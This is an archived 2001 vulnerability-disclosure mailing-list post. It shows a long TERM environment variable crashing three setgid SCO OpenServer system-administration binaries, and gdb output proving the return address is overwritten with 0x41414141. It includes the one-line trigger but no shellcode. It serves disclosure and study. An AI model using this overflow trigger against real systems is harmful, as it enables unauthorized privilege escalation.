Vulnerability Development mailing list archives

SCO atcronsh auditsh termsh overflows


From: KF <dotslash () snosoft com>
Date: Wed, 13 Jun 2001 09:23:32 -0400


# uname -a
SCO_SV frodev 3.2 5.0.6 i386

in /usr/lib/sysadm

---x--s--x   1 bin      cron      293916 Mar 26 07:40 atcronsh
---x--s--x   1 bin      audit     347280 Mar 26 07:40 auditsh
---x--s--x   1 bin      auth      306584 Mar 26 07:40 termsh

TERM=`perl -e 'print "A" x 6000'`
export TERM

./atcronsh
Internal Error 11
# gdb ./atcronsh
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i486-unknown-sco3.2v5.0.0elf"...
(no debugging symbols found)...
(gdb) run
Starting program: /opt/K/SCO/Unix/5.0.6Ga/usr/lib/sysadm/./atcronsh
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x807a3cc in setupterm ()
(gdb) bt
#0  0x807a3cc in setupterm ()
#1  0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb)

# gdb ./termsh
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i486-unknown-sco3.2v5.0.0elf"...
(no debugging symbols found)...
(gdb) run
Starting program: /opt/K/SCO/Unix/5.0.6Ga/usr/lib/sysadm/./termsh
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x807b918 in setupterm ()
(gdb) bt
#0  0x807b918 in setupterm ()
#1  0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb)

# ./auditsh
Internal Error 11
# gdb ./auditsh
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i486-unknown-sco3.2v5.0.0elf"...
(no debugging symbols found)...
(gdb) run
Starting program: /opt/K/SCO/Unix/5.0.6Ga/usr/lib/sysadm/./auditsh
(no debugging symbols found)...(no debugging symbols found)...
(no debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x8084c38 in setupterm ()
(gdb) bt
#0  0x8084c38 in setupterm ()
#1  0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb)

-KF


Current thread: